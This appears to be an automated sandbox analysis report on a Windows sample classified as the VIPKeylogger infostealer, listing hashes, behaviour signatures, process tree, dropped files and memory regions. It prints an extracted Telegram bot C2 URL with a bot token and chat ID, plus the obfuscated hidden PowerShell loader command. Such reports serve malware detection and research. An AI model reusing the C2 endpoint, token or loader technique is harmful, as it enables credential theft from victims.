Analysis

  • max time kernel
    143s
  • max time network
    145s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17-12-2024 07:10

General

  • Target

    Untangibility90.exe

  • Size

    1.1MB

  • MD5

    343b6d84d887fc6f42e259c22ddce824

  • SHA1

    e7423cd8620ecb4dee9e1781386c1d0273bcd373

  • SHA256

    dd5ae442b593e4611d93ddcf5606f20ea4686a9d63b46f546a7f86bd1785d41b

  • SHA512

    1b697bd0446b44c05fc2cea0ea073476486c8f754797c714a6dc4578267dcc8a23243c0c65b9a7cd603a0b3bbf4cd5c995aae75cddd9759f69cb3d28e9785852

  • SSDEEP

    24576:ONrNYo3K+3fC/j6U3VwV5k7j5awX300zQUGtZV:e+L463VwXgj5aEkHUGtZV

Malware Config

Extracted

Family

vipkeylogger

C2

https://api.telegram.org/bot7668974942:AAFyrHvXMv2uhMX9l0hNEPNVnFxCDfLErLs/sendMessage?chat_id=7295320361

Signatures

  • VIPKeylogger

    VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.

  • Vipkeylogger family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Loads dropped DLL 1 IoCs
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Blocklisted process makes network request 8 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Drops file in Program Files directory 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 23 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Untangibility90.exe
    "C:\Users\Admin\AppData\Local\Temp\Untangibility90.exe"
    1⤵
    • Loads dropped DLL
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2456
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden "$Medtagning=gc -raw 'C:\Users\Admin\AppData\Local\Temp\globosely\baadehavn\stnner\Khazaddum.Pre224';$Untusked=$Medtagning.SubString(27994,3);.$Untusked($Medtagning) "
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4420
      • C:\Windows\SysWOW64\msiexec.exe
        "C:\Windows\SysWOW64\msiexec.exe"
        3⤵
        • Accesses Microsoft Outlook profiles
        • Blocklisted process makes network request
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • outlook_office_path
        • outlook_win_path
        PID:756

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_n3ojufok.ttn.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\globosely\baadehavn\stnner\Khazaddum.Pre224

    Filesize

    74KB

    MD5

    4208643fc8d9783f1b2e17ca3deeee0f

    SHA1

    2ad1b4267f8474a46d6db4b3730a8d0d3ba61ff6

    SHA256

    ef1f9e0ba387a0c17b6df3d877f4d11210795a511cb8b4c402a3ede617a3c14f

    SHA512

    455e00b2c8810a1fd600c983b13f8207e4d3c7325cea185717f493cc59b4df2285b745cd9b48ed05bce1a8f15474c77aacc70fdc70ef04f485e084d9818431c5

  • C:\Users\Admin\AppData\Local\Temp\globosely\baadehavn\stnner\Suberised111.Med

    Filesize

    339KB

    MD5

    002c9ad83d194cb8cb694abff1c3d622

    SHA1

    8da382e12583ce84ee86d8ab07aaae37881379e0

    SHA256

    9f8ba35b79484641d11e46016e90301419c59300b30c7adf0556eae34e29c63c

    SHA512

    50c5465801e77eabb14b39a9cf101d45d23598b9a76d4253ab6ffa0e660bf16c75b5f26402092fa6ea0ff7504165b8f1ce6b26063c5381ab2e890ea3d4645845

  • C:\Users\Admin\AppData\Local\Temp\nsj83F6.tmp\nsExec.dll

    Filesize

    7KB

    MD5

    675c4948e1efc929edcabfe67148eddd

    SHA1

    f5bdd2c4329ed2732ecfe3423c3cc482606eb28e

    SHA256

    1076ca39c449ed1a968021b76ef31f22a5692dfafeea29460e8d970a63c59906

    SHA512

    61737021f86f54279d0a4e35db0d0808e9a55d89784a31d597f2e4b65b7bbeec99aa6c79d65258259130eeda2e5b2820f4f1247777a3010f2dc53e30c612a683

  • memory/756-77-0x0000000001C70000-0x0000000002640000-memory.dmp

    Filesize

    9.8MB

  • memory/756-90-0x0000000000A10000-0x0000000001C64000-memory.dmp

    Filesize

    18.3MB

  • memory/756-102-0x000000001E220000-0x000000001E22A000-memory.dmp

    Filesize

    40KB

  • memory/756-101-0x0000000020BE0000-0x0000000020C72000-memory.dmp

    Filesize

    584KB

  • memory/756-97-0x00000000219A0000-0x0000000021ECC000-memory.dmp

    Filesize

    5.2MB

  • memory/756-96-0x0000000020A60000-0x0000000020AB0000-memory.dmp

    Filesize

    320KB

  • memory/756-95-0x00000000212A0000-0x0000000021462000-memory.dmp

    Filesize

    1.8MB

  • memory/756-94-0x0000000001C70000-0x0000000002640000-memory.dmp

    Filesize

    9.8MB

  • memory/756-92-0x0000000020690000-0x000000002072C000-memory.dmp

    Filesize

    624KB

  • memory/756-91-0x0000000000A10000-0x0000000000A5A000-memory.dmp

    Filesize

    296KB

  • memory/4420-54-0x0000000007D10000-0x0000000007DB3000-memory.dmp

    Filesize

    652KB

  • memory/4420-62-0x0000000008630000-0x000000000865A000-memory.dmp

    Filesize

    168KB

  • memory/4420-33-0x00000000068D0000-0x000000000691C000-memory.dmp

    Filesize

    304KB

  • memory/4420-34-0x00000000078C0000-0x0000000007956000-memory.dmp

    Filesize

    600KB

  • memory/4420-35-0x0000000006D20000-0x0000000006D3A000-memory.dmp

    Filesize

    104KB

  • memory/4420-36-0x0000000006DA0000-0x0000000006DC2000-memory.dmp

    Filesize

    136KB

  • memory/4420-37-0x0000000007F10000-0x00000000084B4000-memory.dmp

    Filesize

    5.6MB

  • memory/4420-39-0x0000000008B40000-0x00000000091BA000-memory.dmp

    Filesize

    6.5MB

  • memory/4420-42-0x0000000073B60000-0x0000000074310000-memory.dmp

    Filesize

    7.7MB

  • memory/4420-41-0x0000000075150000-0x000000007519C000-memory.dmp

    Filesize

    304KB

  • memory/4420-40-0x0000000007CA0000-0x0000000007CD2000-memory.dmp

    Filesize

    200KB

  • memory/4420-53-0x0000000073B60000-0x0000000074310000-memory.dmp

    Filesize

    7.7MB

  • memory/4420-52-0x0000000007CE0000-0x0000000007CFE000-memory.dmp

    Filesize

    120KB

  • memory/4420-55-0x0000000073B60000-0x0000000074310000-memory.dmp

    Filesize

    7.7MB

  • memory/4420-31-0x00000000062A0000-0x00000000065F4000-memory.dmp

    Filesize

    3.3MB

  • memory/4420-56-0x0000000007E30000-0x0000000007E3A000-memory.dmp

    Filesize

    40KB

  • memory/4420-57-0x0000000007E50000-0x0000000007E61000-memory.dmp

    Filesize

    68KB

  • memory/4420-58-0x0000000007EA0000-0x0000000007EAE000-memory.dmp

    Filesize

    56KB

  • memory/4420-59-0x0000000007EB0000-0x0000000007EC4000-memory.dmp

    Filesize

    80KB

  • memory/4420-60-0x0000000007EF0000-0x0000000007F0A000-memory.dmp

    Filesize

    104KB

  • memory/4420-61-0x0000000007EE0000-0x0000000007EE8000-memory.dmp

    Filesize

    32KB

  • memory/4420-32-0x0000000006890000-0x00000000068AE000-memory.dmp

    Filesize

    120KB

  • memory/4420-63-0x0000000008660000-0x0000000008684000-memory.dmp

    Filesize

    144KB

  • memory/4420-64-0x0000000073B60000-0x0000000074310000-memory.dmp

    Filesize

    7.7MB

  • memory/4420-65-0x0000000073B60000-0x0000000074310000-memory.dmp

    Filesize

    7.7MB

  • memory/4420-68-0x0000000073B60000-0x0000000074310000-memory.dmp

    Filesize

    7.7MB

  • memory/4420-67-0x0000000073B6E000-0x0000000073B6F000-memory.dmp

    Filesize

    4KB

  • memory/4420-69-0x0000000073B60000-0x0000000074310000-memory.dmp

    Filesize

    7.7MB

  • memory/4420-70-0x00000000091C0000-0x0000000009B90000-memory.dmp

    Filesize

    9.8MB

  • memory/4420-71-0x0000000073B60000-0x0000000074310000-memory.dmp

    Filesize

    7.7MB

  • memory/4420-72-0x0000000073B60000-0x0000000074310000-memory.dmp

    Filesize

    7.7MB

  • memory/4420-74-0x0000000073B60000-0x0000000074310000-memory.dmp

    Filesize

    7.7MB

  • memory/4420-21-0x00000000061F0000-0x0000000006256000-memory.dmp

    Filesize

    408KB

  • memory/4420-20-0x0000000006180000-0x00000000061E6000-memory.dmp

    Filesize

    408KB

  • memory/4420-19-0x0000000073B60000-0x0000000074310000-memory.dmp

    Filesize

    7.7MB

  • memory/4420-18-0x0000000005850000-0x0000000005872000-memory.dmp

    Filesize

    136KB

  • memory/4420-16-0x0000000073B60000-0x0000000074310000-memory.dmp

    Filesize

    7.7MB

  • memory/4420-17-0x0000000005AE0000-0x0000000006108000-memory.dmp

    Filesize

    6.2MB

  • memory/4420-15-0x0000000003250000-0x0000000003286000-memory.dmp

    Filesize

    216KB

  • memory/4420-12-0x0000000073B6E000-0x0000000073B6F000-memory.dmp

    Filesize

    4KB

  • memory/4420-75-0x0000000073B60000-0x0000000074310000-memory.dmp

    Filesize

    7.7MB

  • memory/4420-76-0x0000000073B60000-0x0000000074310000-memory.dmp

    Filesize

    7.7MB